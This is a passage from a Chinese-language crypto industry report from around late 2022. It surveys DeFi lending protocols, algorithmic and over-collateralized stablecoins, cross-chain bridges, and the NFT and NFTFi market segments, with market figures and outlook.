DeFi 借贷协议的运行和传统银行的借贷业务比较相似，在有息贷款的协议中，借方在归还本金的同时需要向协议发送利息，这笔利息作为协议的收入。
借贷协议会按照存款的 APY 为贷方提供利息，贷方可获得稳健的收入。
以 Aave 为例，贷方向 Aave 的代币流动性池提供流动性以赚取被动收入，借方能够以超额抵押或无抵押（闪电贷）的方式借款。
Aave 将向贷方提供生息代币 aToken 作为提供流动性的凭证，与 Compound 的 cToken 具有相似的功能。
流动性资金池模型中，借款量大于存款量、挤兑等情况将对借贷协议造成伤害。
如果借款量长期低于存款量，借贷协议的流动性将下降，协议将难以将资金提供给借方，而贷方的利息也将难以得到保证。
挤兑即用户大量赎回存在流动性池中的资金，降低借贷协议的流动性，借贷协议可能存在无法兑付的风险。


四、DeFi 借贷协议项目介绍

介绍 5 个具有代表性的 DeFi 协议：Aave、Compound、Notional、Euler、Liquity。
Aave 和 Compound 是以太坊链上发展成熟的借贷协议，Notional 是固定利率借贷协议，Euler 是无许可借贷协议，Liquity 是无息贷款协议。
 
1. Aave
Aave 是以太坊链上 DeFi 借贷协议，允许用户在不需要中间人的情况下借入、借出和赚取加密资产的利息。
Aave 的前身是 2017 年 11 月推出的 ETHLend，ETHLend 使用的是点对点借贷模型，Aave 考虑该模型效率低下，选择采用流动性资金池模型，并将协议更名为 Aave。
Aave 的运作模式是贷方将资金添加到对应代币的流动性池中，从中获得利息。当借方想要借出资金时可从这些资金池中提取资金。
Aave 向贷方提供生息代币 aToken，aToken 是贷方的存款凭证，随着利息增加升值。
aToken 在存款时铸造，赎回时销毁，与存入 Aave 协议的基础资产的价值以 1:1 的比率挂钩。
Aave 设置了借贷的两种利率模型：浮动利率和固定利率，用户可在两者之间选择，实现更高的整体收益。
Aave 目前最大的优势是其市场成熟性。从 2017 年 11 月开始算起，项目已经运行近 5 年的时候，是以太坊上老牌借贷协议。
官网显示，目前 Aave 市场的流动性超过 85 亿美元，涉及公链涵盖 L1 和 L2，已在 Polygon、Optimism、Arbitrum 等以太坊扩容网络上部署，在头部 DeFi 借贷协议中部署公链数量最多。
Aave 的投资者包括 Blockchain Capital、Standard Crypto、Blockchain.com Ventures 等。
2. Compound
Compound 是以太坊链上 DeFi 借贷协议，运作原理和 Aave 一样，用户向资金池提供流动性可获得生息代币 cToken 和利息，用户抵押资产从流动池借出资产。
Compound 的每个支持的代币都有对应的储备金率和抵押因子。储备金的设置的目的是为了防止挤兑。
储备金支持平时用户的存取款业务，这部分资产不计入资金使用率之内，因此不会被借出。
抵押因子是可借出资金和抵押资金的比率，比如 Compound 当前为 USDC 设置的抵押因子是 85%，那么当用户抵押价值为 100USDC 的资产时，能够借出 85USDC。
Compound 的利率模型激励用户存入资产赚取利息，同时抑制用户取出资产的欲望。
如下图所示，当 ETH 利用率提升时，存款利率和借贷利率同时上升，促使资金流入量提升，同时借出资产的成本提升，抑制资金流出速度。 
Compound 在 2020 年 6 月推出治理代币并启动流动性挖矿，借贷双方通过与协议交互即可获得 COMP 奖励并凭 COMP 参与治理，此举快速提升其用户量和锁仓量，在开启流动性挖矿的 24 小时内锁仓量即增长超 40%。
Compound 的投资者包括 a16z、Polychain、Paradigm 等。
3. Notional
Notional 是固定利率借贷协议，用户存入和借出资金都基于固定的利率，利率不会受到市场波动而不断浮动。
Notional 协议的凭证代币是 fCash，该代币由两个关键要素定义：所关联加密货币、到期日。
在后台，Notional 协议在 fCash 和支持的资产之间部署了流动性资金池，并使用自定义 AMM 支持固定利率贷款。
借款人可以从 Notional 协议中提取资产，同时获得相关加密货币的 fCash 负余额（基于固定利率）。
在到期日时，fCash 负余额会要求借款人向协议返还等额的关联加密货币。
放贷人可以将资产存入 Notional Finance 协议，同时获得与加密货币相关联的 fCash 代币（基于固定利率）。在到期日时，贷方可以赎回这些 fCash 代币以获取等量的关联加密货币。
固定利率的设计降低贷款活动的风险，更符合传统金融用户的使用习惯，有助于吸引风险承受力较低、不想承担长期债务的用户。
用户可以选择存取的货币和到期的时间，以 DAI 为例，存入 DAI 最高利率的到期日是 2023 年 3 月 24 日，存款数量越高，利率会相应略微降低。
Notional 官网显示，项目锁仓量为 8600 万美元，借贷总量为 6.44 亿美元。
Notional 的投资者包括 Pantera Capital、Parafi Capital、1Confirmation 等。
4. Euler
Euler 是无许可借贷协议，贷方将流动性存入 Euler 流动性池时会收到生息代币 eToken，只要池中有未借出的代币，贷方可以随时赎回其在池中的基础资产份额。
借方有需求时可从资金池中取出流动性并需要带利息返还资金。
Euler 具有四项特点：
(1)Uniswap V3 上有 WETH 对的资产都可添加至借贷市场，并将这些资产按三个等级分层成隔离层资产、跨层资产以及抵押层资产。
  • 隔离层资产：用于普通借贷，但不能用作抵押品。借用不同的资产需要在 Euler 上使用不同的账户。
  • 跨层资产：可用于普通借贷，也不能用作抵押品，不过可以用一个账户借入多个跨层资产。
  • 抵押层资产：用于普通借贷、交叉借入，也可用作抵押品。交叉借入指用户在一个账户中抵押资产来借入多个抵押层资产。
(2)结合抵押率和借款率定制清算门槛；
(3)使用荷兰式拍卖和为流动性提供者的折扣加速机制来实现抗 MEV（矿工可提取价值）清算；
(4)用多抵押稳定池替代抵押品拍卖。
DeFiLlama 数据显示，Euler 锁仓量为 2.9 亿美元，在 DeFi 借贷协议中排名前十。
Euler 的投资者包括 Variant、FTX Ventures、Coinbase Ventures 等。
5. Liquity
Liquity 是一个无息贷款协议，Liquity 一次性向用户收取费用（包括借款和赎回费用），用户在借出 LUSD（与美元绑定的稳定币）之后无需支付利息。
Liquity 设置的最低抵押率为 110%，也就是说用户至少使用价值 110LUSD 的 ETH 借出 100LUSD。
除了用户的抵押外，Liquity 的贷款还由 LUSD 的稳定池和所有借款人集体作为最后担保人提供担保。
LUSD 的稳定池是维持系统偿付能力的第一道防线。通过提供流动性，稳定池用来偿还被清算的金库的债务，从而确保 LUSD 的总供应始终获得支持。
为确保抵押品能够完全支持所有稳定币的供应，抵押率低于 110% 的 Vault 将被清算。
清算后 Vault 的债务取消，由稳定池吸收。其抵押品则在稳定池流动性提供者之间分配。
相比于其他 DeFi 借贷协议，Liquity 的无息贷款、较低的抵押率和稳定币借贷是其特点。
Liquity 官网显示，Liquity 锁仓量为 4.9 亿美元。
Liquity 的投资者包括 Polychain Capital、Pantera Capital、1kx 等。

五、DeFi 借贷的创新方向

DeFi 借贷协议中大部分协议采用超额抵押，超额抵押存在的问题是资本利用率较低，降低了协议的资本效率。
此外，超额抵押为借贷者设置了一定的加密资产持有量门槛，不利于传统金融投资者和加密新手参与。
为此，DeFi 借贷协议在提升资本效率和采用度方面进行创新，此处归纳了 4 个 DeFi 借贷的创新方向：
  • 无息贷款
  • 资产隔离池
  • 跨链借贷
  • 信用贷
1. 无息贷款
无息贷款是借贷协议直接取消了利率这个变量。
在大多数 DeFi 协议的模型中，存款者可在提供流动性的同时获得一笔利息，而借款者在提取流动性的同时按利率支付利息。
在浮动利率的协议中，协议会按照基础资产的利用率、市场变动等因素调整利率。
上文中提到 Compound 协议中基础资产的利用率提高时，存款利率和贷款利率同时提升，抑制用户的借款兴趣，加重了已借款者的经济负担。
无息贷款让借款者只需归还借取的本金，没有额外的利息，借款者无需担心上述因素对利率的影响，有助于拉长借款者的借款周期。
典型的项目是 Liquity，Liquity 用户在借出 LUSD 之后无需支付利息。
2. 资产隔离池
资产隔离池指的是每个资产池中的资产仅在该池内分担风险，与平台的其余部分分开。
在资金池出现安全问题的时候，整个协议不会因此受到太大伤害，将协议风险降到最低。
典型案例是 Rari Capital 的借贷产品 Fuse，Fuse 将多种代币集中到一个池子里，形成多资产贷款池。
用户在这个池子里可以进行借贷操作，每个借贷池之间都是独立的关系。
 
3. 跨链借贷
跨链借贷指的是用户在借贷平台上借出资产，通过借贷协议合作的跨链桥，将借出的资产转移到其他链上。
跨链借贷解决了单链流动性问题，在借贷协议多链部署的大背景下提升跨链互操作性，引入更多类型的资金和用户。
Radiant、FilDA 等项目已通过跨链桥实现跨链借贷。以 Radiant 为例，Radiant 用户可通过 Stargate 跨链桥，将借出的资产转移到目标链上。
4. 信用贷
信用贷在传统金融当中非常普遍，银行需要对有贷款需求的用户进行信用评分之后放贷。
传统金融的信用评分模型利用可观察到的借款人特征变量计算出一个数值（得分）来代表债务人的信用风险，并将借款人归类于不同的风险等级。
严格的信用评分能有效防止借款人违约，降低银行的风险。
目前在 DeFi 借贷协议当中采用信用贷的协议数量比较少，代表项目是 Wing Finance。Wing Finance 将引入信用评判机制来降低用户资产的质押率，逐步实现无抵押。
Wing Finance 信用机制借助于本体链的数字身份体系，收集用户的 KYC 信息，完成对用户履约风险的判断。平台根据用户的历史履约信息，确定用户的资产抵押率。


3
StableCoin

一、基本市场情况

截止2022年12月5日星期一，稳定币市场总计稳定币提供977.9亿美元，过去七天内稳定币流通量为1667亿美元。
稳定币提供量在2021年底至今呈现基本稳定局面，从2021年底至2022年2月稳定币提供量稳定上升并在2月以后逐步下降，但下降局面基本可控。

 稳定币提供量（数据来源 https://dune.com/0xheisenberg/stablecoin-supply）

稳定币提供量 （数据来源 https://dune.com/0xheisenberg/stablecoin-supply）


二、算法稳定币

算法稳定币早在2020年的DeFi Summer中就受到了关注，经过两年的探索，它已经发展到了第三代。
第一代：AMPL 无资产支持，单币种系统，直接调整供应量；
第二代：BAC，ESD 无资产支持，多币种系统，通过名为“债券”和“股票”的代币辅助调整供应量；
第三代：UST，FEI，FRAX 有加密资产支持，单/多币种系统，通过稳定币和支持资产的双向兑换调整供应量；
第三代算法稳定币与之前最大的区别就是有了足额的资产作为支持，以避免出现“死亡螺旋”。它们的发行机制中，都需要销毁或是抵押足额的加密资产，几乎从根本上改变了算法稳定币的内涵。
本文仍沿用“算法稳定币”这个词，将其定义为“加密资产足额支持型“稳定币。
有了支持资产，算法稳定币才有可能抵御住市场整体的波动和它本身的价格下跌，长期保值价格锚定。
一套漂亮的机制设计还不能让算法稳定币实现规模扩张。
一度风生水起的UST得以扩张的关键因素在于Terra公链上的借贷协议Anchor。用户可以在其中存入UST并获得APY为20%的固定收益。
随着用户的涌入，LUNA的价格、UST的发行量和Anchor的TVL都一起向上。在今年3月，它甚至超越了DAI，成为了规模最大的去中心化稳定币。
不过到了今年5月，先是有LUNA价格持续下跌和Anchor调整为浮动利率，再有Curve池中UST比例失调和巨鲸抛售，UST终于迅速脱锚，之后再也没有回到1美元附近。
LUNA的价格也跌去了99%以上，Anchor的TVL在一周之内腰斩。
UST的和Terra的崩盘严重打击了市场信心，导致部分其他算法稳定币也出现了短暂脱锚，甚至被投资者定性为伪命题。
在这之后，其他项目也陷入困境。
以太坊上曾经自称DeFi 2.0项目的FEI，因与之合并的借贷协议Rari被盗，在是否全额赔付与如何处理财库资产上没能与受害用户和社区达成一致，又遭遇联合创始人主动离职，协议最终解散了。
NEAR公链上的USN在7月宣布只接受USDT铸造为USN，这实际上是放弃了算法稳定币的模式。在10月终于因资不抵债而宣布将停止运营。
尽管还在运行，但基于Waves公链的USDN的流通量在反复脱锚减少了近90%。算法稳定币再一次陷入了谷底。
唯一能顶住压力的就是USDD，它拥有超过300%的抵押率，Huobi、Poloniex、Kucoin、Bybit、Gate等一批CEX和Sun.io、ellipsis等DeFi协议的支持，且对赎回有一定限制，发行量反而接近翻倍。
下图是UST崩溃前后和当前主流算法稳定币的市值对比。当时发行量前5的算法稳定币的市值之和从5月8日的230亿美元迅速缩减到5月22日的不到40亿美元，2周时间下降了82.6%。目前这5个算法稳定币的总市值只有不到25亿美元，比起UST崩溃前已经下跌了约90%。
USDD的发行机制结合了算法稳定币和超额抵押稳定币的特点。
它规定只有TRON DAO Reverse（TDR）的白名单机构才能以足额抵押TRX的方式（算法稳定币）发行USDD。
TDR又为之储备了接近200%的包含TRX、BTC、USDC的抵押资产（从外部看是超额抵押）。
也只有这些白名单机构才有权销毁USDD并兑换出TRX。如果USDD有脱锚风险，它们是不会去挤兑的，因为这样会阻挡以后的财路。
USDD获得了Huobi、Poloniex、Kucoin、Bybit、Gate等一批CEX和Sun.io、ellipsis等DeFi协议的支持，应用场景非常丰富。
所以它在赛道几乎全军覆没的情况下发行量反而接近翻倍，并于 2022 年 10 月 7 日在多米尼克国获得法币地位。
这是继比特币之后，世界上第二批被授予法定数字货币资格的加密货币。

三、超额抵押稳定币

今年7月，两个老牌DeFi协议Aave和Curve都宣布将要发行稳定币，给这个陷入沉寂的赛道注入了新的活力。
Curve计划推出的稳定币名为crvUSD，但没有透露更多信息。
Aave将要发行的GHO尽管还是传统的超额抵押加密资产型稳定币，却实现了一些微创新，即引入了促进者（facilitator）这个新角色。
促进者是指经过Aave Governance批准后，可以获得铸造和销毁GHO的权利的协议或实体。
促进者可以根据自己的业务特点来设计铸造和销毁方式。为了控制风险，Aave Governance会给每个促进者设置GHO铸造的上限。
促进者主要会带来以下变化：
（1） 提升GHO稳定币体系的灵活度。多个机构能够便捷地发行稳定币，而且抵押资产的种类可以有非常大的自由度。
除了传统的抵押ETH、AAVE等代币的铸造方式以外，还可能会出现抵押现实世界资产（RWA）、Delta中性头寸、信用积分等各种铸造方式。这样可以激活更多资产的流动性。
（2） GHO发挥“沙丁鱼效应“，加速促进者的经济体系循环。
GHO可以实现与一般的稳定币同样的功能，但它会与促进者本身经济模型绑定，推动业务运行、激励、代币质押等活动。
如果设计得当，应该会有很多协议愿意加入促进者的行列。
此举主要的风险是协议复杂性的增加，可能被黑客发现可乘之机。考虑到Aave的技术实力较强，而且设置了促进者的发行上限，整体的风险应该可控。
所以预测GHO大概率能成为一种重要的资产，并由较大的应用范围。


4
跨链桥

一、跨链桥的分类

跨链桥主要采用3种技术方案：锁定+铸造/销毁类、资金池类、原子置换类。

二、 跨链生态现状

1.跨链桥种类增加
根据debridges.com今年12月份的数据，以太坊、BNB Chain、Polygon上的跨链桥数量分别达到106个、73个、55个。
再加上新公链、新Layer2出现，相应的跨链桥配套设施应该会越来越多。
2.跨链资产增加
以BTC为例，很多和BTC相关的资产，如WBTC、anyBTC、VBTC等等，其实这些都是基于BTC生成的跨链资产。
这还只是同质化代币的部分，随着NFT发展，NFT的跨链预计会带来更多让人眼花缭乱的跨链资产。
3.跨链渗透到各种各样的生态和DAPP
据了解，主流的链和层，包括以太坊、BNBChain、Polygon、Avalanche、Fantom、Arbitrum、Gnosis Chain、Harmony、Optimism、Moonriver都已经采用跨链方案，其中光是以太坊生态中的桥锁仓量就达到了78亿美元。
跨链桥也在支持越来越多的生态，例如Multichain凭一己之力把55个链或层连接起来。
整体来看，在当前阶段，跨链最繁荣的生态是以太坊、BNB Chain、Polygon、Avalanche、Fantom等。
跨链资产中，USDC类的占比最高，其次是USDT、MATIC、ETH/WETH、DAI。
TVL（锁仓量）排名靠前的跨链桥包括：Polygon Bridge、Arbitrum Bridge、Optimism Bridge、Stargate、WBTC等。

三、跨链趋势与机会

资产跨链本质上是对安全性、速度、可拓展性（支持更多的链和资产）的权衡和取舍。
例如，一个跨链桥如果支持尽可能多的链和资产，它同时也会引入更多的风险点。
由于无法在所有维度都做到完美，各大跨链桥往往会选择一个角度作为发展策略。
Layer2官方桥注重安全性
以Polygon Bridge和Arbitrum Bridge为例，它们各自只支持以太坊主网和Polygon、以太坊主网和Arbitrum间的跨链。
这种做法把跨链生态限制在以太坊和Layer2（尤其是Arbitrum Bridge，Rollup使Arbitrum继承了和以太坊主网接近的安全性），确保了更高的跨链安全性。
此外，这种策略还通过定位以太坊主网和Layer2间的跨链捕获Layer2发展红利。
目前Layer2处在一个比较关键的发展时期，越来越多的资产跨链到Layer2。
通过这种方式，Layer2官方桥捕获了大量TVL。Polygon Bridge、Arbitrum Bridge、Optimism Bridge目前在所有跨链桥中就排名TVL前三。
跨链聚合器注重用户体验
聚合类跨链桥也成为一种趋势。根据哔哔News的不完全统计，71个跨链桥中，有12个通过聚合DEX、跨链桥来提供跨链服务，包括Optimism Bridge、Boba Gateway、LI.FI、Bungee等。
在这些跨链桥界面，用户选择跨链/swap资产、原链、目标链后，平台会向用户展示多个路由，并根据gas费、跨链时间等给出路由排序，用户能比较方便地选择最佳跨链方案。
此外，聚合类跨链桥也在一些小的细节上进行优化。
比如Bungee提供加油功能。用户在跨链gas不足的情况下，可以通过加油功能从其他链转移代币作为gas费。
越来越多的跨链桥提供staking选择
以LI.FI为例，LI.FI上的X Swap用于资产的跨链swap，Y Pool则专门为用户提供了一个staking入口，用户作为LP提供流动性可以获得staking收入。
这种通过聚合用户手中流动性来优化资金池深度的做法正在被越来越多的跨链桥采用，包括采用锁定+铸造/销毁模型的Multichain和采用原子置换模型的cBridge也都同时采用了staking功能。
NFT桥成为新的潜力跨链赛道
如果说目前同质化代币的跨链方案比较雷同，那么NFT跨链还存在比较大的探索潜力。
NFT跨链的实现难度高于同质化代币。每一个NFT在NFT集合（代币合约地址）和TokenID上都是不一样的。
这意味着跨链桥可能要从NFT合约地址+TokenID的粒度上对NFT进行支持。再加上跨链的NFT要在2条链上都有部署，这使得NFT的跨链不那么容易拓展。
举个例子，Multichain和Chainswap都支持NFT跨链，但是Multichain只支持有限的3个NFT集合进行跨链，而Chainswap支持NFT合约地址和TokenID的导入，支持的范围更广。
参考同质化代币的跨链思路，NFT跨链也可能出现聚合类平台。
此外，NFT跨链目前可能还处在锁定+铸造/销毁模式，如果通过流动性池类进行跨链，那么NFT流动性池应该会面临比同质化代币跨链更严重的流动性深度不足问题，如何解决这个问题可能会成为NFT跨链桥的竞争焦点。
目前Multichain、cBridge、Chainswap、Horizon by Harmony、deBridge、EVODeFi、Parakeet.dao都已经提供了NFT跨链功能。
跨链桥资金池参与DeFi生态
跨链桥资金池参与DeFi也正在成为一种趋势，例如Chainswap将支持跨链DEX、跨链借贷，Aave 在V3版本中提出跨链+借贷方案。跨链桥资金池和DeFi天然契合。
这种做法能比较好地提高资金利用率，同时也能通过鼓励LP提供流动性的方式提升资金池深度，提升跨链桥本身的体验。
当然，LP获得较高staking APR的另一面是他们要同时承担跨链风险。如何确保资金池安全应该会成为长期内跨链桥赛道的主题。
其他创新
我们也在跨链桥项目中看到了其他方面的一些创新。
例如Optimism Bridge支持区块链和CEX间跨链，Layerswap支持CEX和Layer2间跨链，Boba Gateway支持多个币种同时跨链，XY Finance支持对多个收款人进行跨链转账，Router Protocol则持用多种代币支付gas费等。
可以预见跨链桥在各个维度的创新还将源源不断地出现。


第四章    NFT


1
NFT总体市场
随着市场的热度消退，NFT交易量也呈现出萎靡的姿态。在五月份拉盘出现的超高量，是因为当时发行的otherdeed for otherside（也叫猴子地）产生了fomo情绪。
同时，NFT的总市值的跌幅约为一半。NFT的计价方式以币本位为主，而ETH的波动也很大，NFT的总市值不可避免的下跌。
NFT的市值从约35 billion USD跌到了21 billion USD，跌幅约为40%。
NFT总市值的下跌并没有ETH的幅度大，是因为NFT有持续的新资产发布，一直在给市场输送NFT，这也同时吸引非NFT用户加入到NFT。
 

NFT交易量（数据来源 https://nftgo.io/analytics/market-overview）

NFT持有&交易数量（数据来源 https://nftgo.io/analytics/market-overview）

尽管NFT市场萎靡，目前的日均交易额仅为牛市中的15%，甚至更低，但是拥有NFT的钱包数量的增速并未放缓，每周约增加8万个。
市场用户持续增多，新产品增多，NFT总市值却在缓慢下降，这是NFT市场消除泡沫的现象。
NFT的价格趋于理性，同时也会有越来越多的用户持有NFT，这是一种市场良性发展的现象。


2
NFTFi
为了改善NFT的流动性、拓宽应用场景以及应对门槛高的现状，NFTFI应运而生。
关于NFTFi的定义有很多种，NFTFi 本质上是将 NFT和金融属性结合，使 NFT 的流动形式更加多元和高效，为NFT持有者提供更多玩法的可能性。
在NFTFi的生态下，也衍生出了各种各样的产品，包括layer1和layer2以及NFT垂直项目。


一、 NFTFi赛道现状

目前NFTFi还处于发展的早期阶段，市场规模方面可以从两个方面估算，一个是NFT市场交易量，一个是NFT的蓝筹估值：
1、根据Nonfungible.com发布的《NFT市场2021 年度》报告显示，2021 年 NFT 市场的交易量为 176 亿美元，较 2020 年的 8200 万美元增长了 210倍，是同年全球传统艺术市场销售量（650 亿美元）的 27%。赛道规模≈176*50%（渗透率）≈88亿美元。
2、基于蓝筹 NFT 的估值，对当前 NFTFi 的赛道规模进行估算。2022年5月，主要的蓝筹 NFT 价值（参考地板价且 ETH 价格按 2000 USD 计算）：BAYC 约为17.2亿美元、CryptoPunks为9.53亿美元、Moonbirds4.4亿美元、Azuki2.73亿美元、Doddles2.37亿美元，总估值约 35.87 亿美金。而土地类型的 The Sandbox, Arcade 与 Decentraland 因为有明显稀有度排名，不宜用地板价进行计算，故未作纳入。考虑到未来的上升空间，蓝筹 NFT 的整体市值约 50 亿美金。赛道规模≈50*80%（项目渗透率）≈40亿美元。
由于目前NFT估值定价还不太成熟，市场基本上集中于蓝筹项目&地板价NFT，在当下的赛道上来看用第2种方式更加合理；
长期来看，随着NFTFi项目的从蓝筹拓宽涵盖更多NFT的项目，可以采用第1种方式，预计市场规模达到十亿美元级别。
但总体来说目前NFTFi行业发展尚处于早期，上述测算仅能在数量级上提供参考，变动的可能性较大。
目前的市场规模占加密货币总市值的0.5%左右，渗透率较低，提升空间较大。


二、NFTFi各细分赛道项目情况

1.NFT定价&估值

NFT的定价和估值可以说是整个NFTFi的基石，不管是借贷还是租赁都需要涉及到定价，好的定价体系对于NFT的流动非常重要，能促进整个NFTFi的发展。
目前这个赛道包括Abacus、NFTBank、Banksea和Upshot等。目前定价方法主要包括两类：人来定价（博弈定价）、算法定价（预言机）
1）人来定价方面，最突出的产品就是Abacus，很好的利用了博弈论，Abacus采用了两种定价模型：
同行激励定价：价格的本质等于群体对于价格的认可度。首先多名评估师质押一定保证金，并对NFT的价格进行评估，然后对评估师的价格进行加权得出最终的价格。接下来评估计算评估师的收益，出价者与评估者越接近则收益越高，差价高于一定值的人会有损失。（一般分割线是差价高于 5% ）。
Abacus spot定价：Abacus作为评估者和所有者价格博弈的中介。评估师充当验证者，猜测 NFT 价值并将他们的资金投入不同的估值级别中。反过来，NFT 所有者获得了流动性的支持，以使用他们的 NFT 作为抵押品。
例如：小红把自己的市价60ETH的BAYC放入池子里，想获得贷款；接下来小刚和小明各放入20ETH到池子里。此时如果小红决定把池子关闭（可以理解为BAYC卖出去），此时该BAYC为55ETH，则此时池子产生了一个差价15ETH，小刚和小明会平分15ETH。
那如果小红关闭时该BAYC价格为30ETH，则小刚和小明会一起承担10ETH的差价亏损（根据投入比例分配）。
由于评估师和验证者的操作是具有及时性的（为了防止作恶，也会产生相应的限制），所以最终会在这种博弈中到达一个平衡的价格，即拍卖价格。
2）算法来定价方面，本质上是预言机。目前该赛道比较成熟的方案有 Banksea 和 upshot，两者都是通过多维度数据结合算法估算NFT价格，例如Opensea市场价等。
其中 Banksea除了NFT历史数据，他们还引用了社区、社交媒体数据和其他非直接关联的数据，丰富了数据维度。
博弈定价与算法定金的优劣对比
  • 博弈定价：
优点：能够精确定价，释放更高的流动性，例如质押率从 30% 提高到 70%。
缺点：定价过程复杂，博弈机制还有不完善的地方；无法大批量对多个项目估值；需要防止围标价格。
  • 算法定价：
优点：能实时报价，且紧跟市场。
缺点：精确度稍弱。
目前预言机算法定价已经有了一定的效果，从市场需求的角度，等NFT历史数据不断积累，模型进一步迭代和优化后，算法定价有着更广阔的前景。

2. NFT交易所&聚合器

交易所和聚合器是用户用来购买NFT的场所，也是目前市场占有率最大的细分赛道，从下图可以看出，目前NFTFi的项目中主要活动还是集中在Opensea、LooksRare这样的中心化交易平台。

NFT交易量及平台占比（数据来源 https://dune.com/hildobby/NFTs）

1）中心化NFT交易所：在第三方平台进行NFT的交易，目前最主流的交易方式。项目包括：Opensea、looksRare等，也是NFT玩家们非常熟悉的平台。
2）聚合器：通过多平台价格聚合，一方面提供更好的报价，另一方面一键扫货可以高效省gas fee。项目包括Gem、Genie等。
3）去中心化NFT交易所：代表项目是Sudoswap，逻辑和dex逻辑类似。
Sudoswap 的 AMM 模式和流动性的提供和Uniswap也很相似。在流动性提供方面，可提供单边NFT or ETH，也可以提供交易对获取交易费收益。
但由于NFT不可分割，所以区别于x*y=k的曲线。
Sudoswap采取了三种其他曲线：包括线性曲线、指数曲线和XYK曲线（新增）。用户可自行选择：
1、线性曲线: newprice = olderprice + delta * buy_number - delta * sell_number
2、指数曲线：逻辑类上，买入时乘以delta，卖出时除以delta。
3、XYK曲线是9月新增的，但是在官方Twitter和白皮书上都写的较含糊，没有明确解释也无讨论热度。
中心化NFT交易所 VS 去中心化NFT交易所
  • 去中心化NFT交易所：
优点：市场撮合及时定价，能帮助长尾项目；没有版税，利好买家；手续费低。
缺点：失去了稀有度的差异，同一系列NFT价值趋同，只适合长尾或者同质化高的NFT；无版税引起创作者不满。
  • 中心化交易所：
优点：提供NFT数量多，用户可挑选的池子大；一NFT一价。
缺点：版税高、手续费高。
 

Sudoswap和Opensea每日交易量对比（数据来源 https://dune.com/queries/1162308）


从目前的Sudoswap和Opensea的每日成交量对比来看，基本上保持在3% VS 97%的一个现状，占比较低。
由于PFP本身具有每一个token的唯一性，天然具有流动性低和定价主观的特性，从而导致转手频率不可能像token那么高，Sudoswap增强流动性的优势没能充分发挥，这是Sudoswap与uniswap相比的差距所在。
从长远来看，Sudoswap与Gamefi中的道具NFT（单个同质、高频交易）则很完美的匹配，未来从gamefi生态合作入手，说不定会产生新的突破。
另一方面，今年7月Uniswap NFT的产品负责人表示，Uniswap会集成Sudoswap进行NFT交易，这对Sudoswap未来的发展也是一大利好。

3. NFT分期支付

先买后付的诉求核心在于透支将来的消费能力来解决当下的资金短缺，这个支付场景从web2也延伸到了web3世界，为了满足Z世代的消费习惯，web3的建设者们也开始将此支付方式应用到NFT领域，包括Cyan、Cedar、Teller等产品。
BNPL产品的模式基本上比较相似，以BNPL 协议中的代表产品Cyan为例：
1、Cyan 会上架他们认可的蓝筹项目作为白名单项目。
2、然后玩家在Cyan 上发起一个 BNPL 计划，购买目前在Cyan白名单上的NFT。
3、接下来Cyan 为用户提供了一个分期付款计划，包括分期还款的期限和利率。在 BNPL 的模式下，买家只需要支付一定首付锁定该 NFT 的价格三个月。如果过程中NFT 价格上涨，可以提前还款来赚取上涨的差价。不过利息并不会减少，用户还是得按照约定方案完成支付。
4、玩家接受该方案后，获得来自 Cyan 资金库的 ETH。当完成所有分期付款后，则NFT转到该地址。如果逾期付款被视为违约，NFT 将保留在Cyan 资金库进行清算。
5、关于Cyan的盈利模式，主要是通过借贷服务，用户抵押NFT来获取贷款。
BNPL对于消费能力较弱但消费意愿较强的Z时代来说是一个非常有吸引力的方案，整体的玩法目前相对单调，基本上都是BNPL+借贷的模式。
且其借贷对于定价估值的诉求很强，比如Cedar与SPICYEST合作，来为 NFT 提供准确价格方面进行补足。
目前，Cyan 在 NFT BNPL 子市场中处于领先地位，各类竞争对手的玩法都比较类似，例如Teller的 ANPL、Ceda和 Pine Loans和Halliday。

4. NFT借贷

借贷作为金融的基础设施有广阔的发展空间，NFT借贷核心机制是将NFT作为抵押品获取贷款。
其中最核心的要素就是风控，需要市场对NFT价格有共识。由于目前定价估值项目较为早期，当下主要从项目类型（蓝筹）和贷款价值比（Loan to Value）两方面进行风控。
和defi中一样，借贷也是NFTFi中爆发比较早的项目类型，目前NFT借贷项目包括：BendDAO、NFTfi、 JPEG'd、Pine Protocol、 Arcade xyz等。目前的NFT借贷可以主要分为两种类型：点对点、点对池。
1）点对点（peer to peer）
1、借款人挂单展示自己的需求，然后出借人在平台浏览所有的借款需求，选择有意向的订单与借款人商量利率和期限后完成借贷。
2、当贷款如期还清时，NFT物归原主；如果不能还清，则NFT归对方所有。
目前NFTfi 和 Arcade xyz采用的是点对点机制。
2）点对池（peer to pool）
1、NFT持有者抵押NFT后，即可获得贷款，和defi中的 Aave 和 Compound逻辑类似。通过超额抵押借出资金，同时需要支付利息。
2、借款人注入货币来获取利息。
目前BendDAO、JPEG'd和Pine Protocol采用的是点对池机制。其中JPEGd的设计类似于MakerDAO ，通过抵押NFT来铸造PUSD( 超额抵押的稳定币 )，进行流通和使用。

5. NFT衍生品

NFT金融衍生品主要分为两类：期权合约和预测市场。
1、期权合约：和传统期权比较相似，期权发行方创建某一时间以某一履约价格买入或卖出NFT的权利并收取期权费。
期权的买方通过支付权利金，在约定日期之前以履约价格买入或者卖出NFT。项目包括：Nifty Option、Putty、Hook、OpenLand等。
同时还衍生出了永续合约项目，和FT的永续合约类似，没有固定交割日，通过资金费用将合约价格和现货价格锚定，期货价格高于现货价格一定值时，多方付费给空方（或者多方手续费上升、空方手续费下降）；反之空方付费给多方。项目包括：NFTperp、injective。
2、预测市场：一种新的玩法，通过mint、二级和租用NFT的方式进行预测和投注，例如在本次卡塔尔世界杯，你认为德国队会赢，可以mint/二级购买/租用德国队NFT，最终根据持有NFT的获胜情况或者持有时间进行奖金的分配。
例如Reality Cards，通过持有对应NFT的持有时间来取分配奖金；而像OKX，通过世界杯每一场比赛的获胜情况以及NFT在奖金池的占比进行分配。
衍生品在传统金融市场属于相对成熟的类型，目前NFT的玩法基本只是换了标的资产，没有新的突破。
目前NFT衍生品还处于非常早期的阶段，NFTperp还处于测试网阶段，putty的交易量级也是二位数，各类型项目都处于早期阶段，在NFT流动性和定金估值体系完善之前很难有爆发增长。
而像预测市场类的项目反而是新鲜的玩法，是NFT带来的新模式，如果利用好世界杯、奥运会等大的赛事，未来会一些创新的想象空间。

6. NFT碎片化

由于NFT的非同质化属性，无法像FT一样分割，从而导致天然流动性受到了限制。而碎片化通过分割所有权的方式，将NFT转化为多个FT。从而改善流动性。
有点类似于将一个高面额的股票拆成多个股，从而让购买者可以买部分股票。在NFT碎片化赛道下代表项目有Fractional.art、Unic.ly。
将NFT碎片化之后，可以通过FT在Defi中激活更多玩法，比如在Uniswap里交易，在Aave里借贷等等。
